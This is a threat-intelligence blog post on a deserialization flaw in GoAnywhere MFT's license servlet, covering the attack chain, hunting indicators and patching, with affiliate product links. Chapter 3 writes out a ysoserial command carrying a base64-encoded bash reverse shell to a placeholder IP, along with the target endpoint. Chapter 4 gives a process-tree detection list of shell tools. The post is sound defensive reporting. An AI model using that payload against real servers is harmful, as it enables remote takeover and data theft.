GoAnywhere MFT HACKED: Deserialization Flaw in License Servlet Gives Unauthenticated Attackers Total Control
By CyberDudeBivash • September 28, 2025, 12:21 AM IST • Threat Intelligence Report
The digital supply chain is under assault again. A critical, unauthenticated Java deserialization vulnerability has been discovered in Fortra's GoAnywhere MFT solution, a mission-critical platform for thousands of enterprises. The flaw resides in a public-facing, pre-authentication endpoint—the License Request Servlet—and allows a remote attacker to achieve full Remote Code Execution (RCE) with a single, specially crafted request. This is not a minor bug; it is a full system takeover vulnerability that bypasses all authentication. For any organization using GoAnywhere MFT, this is an all-hands-on-deck crisis. This deep-dive technical report will dissect the vulnerability, detail the attacker's kill chain, and provide an immediate action plan for patching, hunting, and long-term hardening.
Disclosure: This is a technical threat report for security practitioners. It contains affiliate links to best-in-class solutions for application security, threat detection, and response. Your support helps fund our independent research.
MFT Defense & Response Stack
A layered defense is essential for protecting critical data transfer hubs.
Chapter 1: The Threat - The 'Flat-Pack Trojan Horse' of Java Deserialization
To understand this attack, we must first understand one of the most consistently dangerous vulnerability classes in application security: **Insecure Deserialization**.
**Serialization** is the process of taking a live, complex data object from an application's memory and converting it into a stream of bytes. This allows the object to be easily stored on disk or sent over a network. **Deserialization** is the reverse process: taking that stream of bytes and reconstructing the original, live object back in memory.
The danger arises when an application deserializes data from an untrusted source without proper validation. Java's native serialization is particularly dangerous because the serialized stream can contain not just data, but also the names of classes and methods. An attacker can craft a malicious stream of bytes that, when deserialized, forces the application to instantiate an unexpected class and execute a method, leading to Remote Code Execution.
Think of it like this: Serialization is like disassembling a complex piece of furniture and packing it flat into a box with instructions. Deserialization is when the recipient opens the box and follows the instructions to reassemble the furniture.
An insecure deserialization vulnerability is like accepting a flat-pack box from a stranger. When you follow the "instructions" inside, you don't build a chair; you build a Trojan Horse that has now assembled itself inside your living room.
Chapter 2: The Attack Vector - Why the License Servlet is the Perfect Target
The attackers who found this flaw were clever. They didn't target a random part of the application; they targeted the one place that was almost guaranteed to be a weak point.
The Target: The License Request Servlet
The vulnerability exists in a specific Java servlet that handles license-related requests, often found at the URL path `/goanywhere/lic/accept` or similar. This endpoint is the perfect vector for a deserialization attack for three reasons:
- It is Unauthenticated: By design, a company needs to be able to install its initial license before any users are configured. This means the license installation endpoint is almost always accessible without a valid login session. It is exposed directly to the internet.
- It Expects Serialized Data: License files are often complex data structures. It is common for applications to accept them as serialized Java objects, making this endpoint one of the few places in the application that is built to perform deserialization.
- It Bypasses the WAF: The body of the request will contain a binary Java object, not the typical text-based parameters of a web form. This can sometimes allow the request to bypass the inspection rules of a poorly configured Web Application Firewall.
The combination of these three factors makes this endpoint a glaring and irresistible target for any attacker looking for this specific class of vulnerability.
Chapter 3: The Kill Chain - From Ysoserial to Total Control
An attacker can go from discovering a vulnerable server to achieving full remote code execution in a matter of minutes. The kill chain is swift and efficient.
- Phase 1: Discovery. The attacker uses tools like Shodan or mass scanning to find publicly accessible GoAnywhere MFT login portals on the internet.
- Phase 2: Payload Generation. The attacker uses a well-known Java deserialization exploit tool like **ysoserial**. This tool is a library of pre-built exploit chains (called "gadgets") that work against common Java libraries. The attacker chooses a gadget chain that is known to be effective against the libraries used by GoAnywhere. They use ysoserial to generate their final payload—a binary blob that, when deserialized, will execute a specific command.
# Example of generating a reverse shell payload with ysoserial
java -jar ysoserial-master.jar CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuMTIzLjEyMy4xMjMvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}' > payload.bin
- Phase 3: Exploitation. The attacker sends a single HTTP POST request to the vulnerable License Servlet endpoint (`/goanywhere/lic/accept`). The body of this request contains the raw binary data from the `payload.bin` file they just generated.
- Phase 4: Remote Code Execution. The GoAnywhere application receives the request. The License Servlet attempts to deserialize the malicious object. The gadget chain in the payload is triggered, and the attacker's command (e.g., a reverse shell) is executed on the server with the privileges of the GoAnywhere service account.
- Phase 5: Post-Exploitation. The attacker now has an interactive shell on the server. From here, they can steal sensitive data from the MFT, deploy ransomware, or use the compromised server as a pivot point to attack the rest of the internal network.
Chapter 4: The Hunt - Your Playbook for Finding Evidence of Compromise
You must assume you have been targeted. Your incident response and SOC teams need to begin hunting for these IoCs immediately.
Web Server / Reverse Proxy / WAF Log Analysis
This is your best source for finding exploit attempts. Scour your access logs for:
- Any `POST` request to a URL containing `/lic/` or `/license/`.
- Look for these requests coming from unusual or non-corporate IP addresses.
- Pay close attention to any requests that resulted in a `500 Internal Server Error`, as this can indicate a failed but attempted exploit.
- Look for requests with an unusual `Content-Type` header, such as `application/x-java-serialized-object`.
Endpoint Detection and Response (EDR) Analysis
This is the definitive way to confirm a successful compromise. Your hunt on the GoAnywhere server itself should focus on one key behavior:
The Smoking Gun: Anomalous Child Processes of the GoAnywhere Service.
The GoAnywhere application runs as a Java process (`java.exe` on Windows, `java` on Linux). Under normal operation, this process should almost never spawn child processes, especially not interactive shells or scripting engines.
**Hunt for any instance of the main GoAnywhere Java process being the parent of any of the following:**
- `cmd.exe`
- `powershell.exe`
- `bash`, `sh`, `zsh`
- `curl`, `wget`
A powerful EDR solution like Kaspersky EDR, which provides a full process tree visualization, makes this hunt trivial. Finding this process relationship is a near-certain indicator of a successful RCE.
Chapter 5: The Fix - Immediate Patching and Long-Term Hardening
Your response must be two-fold: immediate tactical containment and long-term strategic hardening.
Immediate Actions
- PATCH NOW. This is the only true fix. You must upgrade your GoAnywhere MFT instance to the latest version provided by Fortra, which removes the vulnerable deserialization code.
- Implement a Virtual Patch (If You Cannot Patch Immediately). If you have a Web Application Firewall (WAF) in front of your GoAnywhere instance, you can create an emergency rule to block all external access to the `/goanywhere/lic/` URL path. This is a highly effective temporary mitigation. A cloud WAF from a provider like Alibaba Cloud can deploy this rule globally in minutes.
Strategic Hardening
- Reduce Your Attack Surface: Does your GoAnywhere administrative interface need to be exposed to the public internet? For most organizations, the answer is no. Place the administrative interface on a private network and require all administrators to connect via a secure VPN or ZTNA solution.
- Secure Administrative Access: All access to the MFT console, by both internal admins and any third-party support vendors, must be protected by strong, phishing-resistant MFA using hardware like YubiKeys.
- Invest in Secure Development Training: The root cause of this vulnerability is a common coding error. Your developers need to be trained on the OWASP Top 10, especially on threats like insecure deserialization. A structured training program from a provider like Edureka is a critical investment in preventing these flaws in your own in-house applications.
Chapter 6: Extended FAQ on Deserialization and MFT Security
Q: My GoAnywhere MFT is an internal-only server. Am I safe?
A: You are safer from external, unauthenticated attackers, but you are not safe from an attacker who has already gained an initial foothold on your network (e.g., via a phishing attack on an employee). They can pivot from a compromised workstation and attack your internal GoAnywhere server. This is why a defense-in-depth strategy is crucial.
Q: What is a "gadget chain" in the context of a Java deserialization attack?
A: A "gadget" is a piece of code in an existing, legitimate library on the application's classpath that can be used for a malicious purpose. A "gadget chain" is a sequence of these legitimate code snippets that an attacker chains together in their serialized payload. When the application deserializes the object, it follows this chain, with the output of one gadget becoming the input of the next, until it ultimately results in code execution. Tools like ysoserial are essentially libraries of these pre-discovered gadget chains.
Q: Is this the first time GoAnywhere MFT has had a critical vulnerability?
A: No. GoAnywhere MFT has had several critical vulnerabilities in the past, including a zero-day vulnerability in early 2023 that was widely exploited by the Cl0p ransomware gang. As a mission-critical, often internet-facing application that handles sensitive data, it is a very high-value target for attackers.
Join the CyberDudeBivash ThreatWire Newsletter
Get deep-dive reports on critical vulnerabilities, supply chain attacks, and actionable threat intelligence delivered to your inbox. Subscribe to stay ahead of the adversary.
Subscribe on LinkedIn
Related Security Directives from CyberDudeBivash
#CyberDudeBivash #GoAnywhere #MFT #Deserialization #AppSec #ThreatIntel #RCE #CyberSecurity #InfoSec #BlueTeam #CVE
.png)
Comments
Post a Comment